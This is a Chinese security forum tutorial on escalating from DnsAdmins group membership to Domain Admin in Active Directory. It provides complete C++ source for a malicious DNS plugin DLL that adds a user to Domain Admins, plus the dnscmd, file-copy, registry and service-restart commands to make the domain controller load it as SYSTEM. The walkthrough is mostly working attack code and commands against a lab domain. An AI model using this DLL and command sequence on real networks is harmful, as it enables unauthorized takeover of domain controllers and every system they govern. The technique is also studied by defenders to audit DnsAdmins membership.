问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
域内一个特权提升技巧
域内一个特权提升技巧
0x01.背景 ------- 实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行`Dll inject`从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用`c:\windows\system32\dns.exe`,创建Rpc接口,使用`\PIPE\DNSSERVER`命名管道进行传输。 DNS服务默认ACL 如下图:  DNS.exe 默认启动权限为`NT AUTHORITY\SYSTEM`:  0x02、过程 ------- ### 0x0201 dll文件编译: dll源码: ```c++ // dllmain.cpp : 定义 DLL 应用程序的入口点。 \#include "pch.h" DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2) { return 0; } DWORD WINAPI DnsPluginCleanup() { return 0; } DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { WinExec("net group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL); return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` 导出函数,Source.def文件: ```def EXPORTS DnsPluginInitialize DnsPluginCleanup DnsPluginQuery ``` 编译后查看导出函数是否正确:  ### 0x0202 特权提升: 首先找到Dnsadmins ```cmd net user sixth-hospital /domain ```  将dll 复制到sysvol ```cmd copy Dlldns.dll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts ``` 使用当前用户列举AD c盘 ```cmd dir \\WIN-43QM2N9GRC4.hackhello.local\c$ ```  执行dnscmd 配置调用dll ```cmd dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll ```  此时查看dc注册表,已经配置好了dll路径。 ```cmd reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters ```  重启dns ```cmd sc stop dns sc start dns ```  重启完服务后再执行net命令 ```cmd net user sixth-hospital /domain ```  可以看到已经成功将Dnsadmins用户提升至域管理员权限 我们列下c盘符下文件 
发表于 2021-04-07 20:33:40
阅读 ( 6270 )
分类:
内网渗透
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
50 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!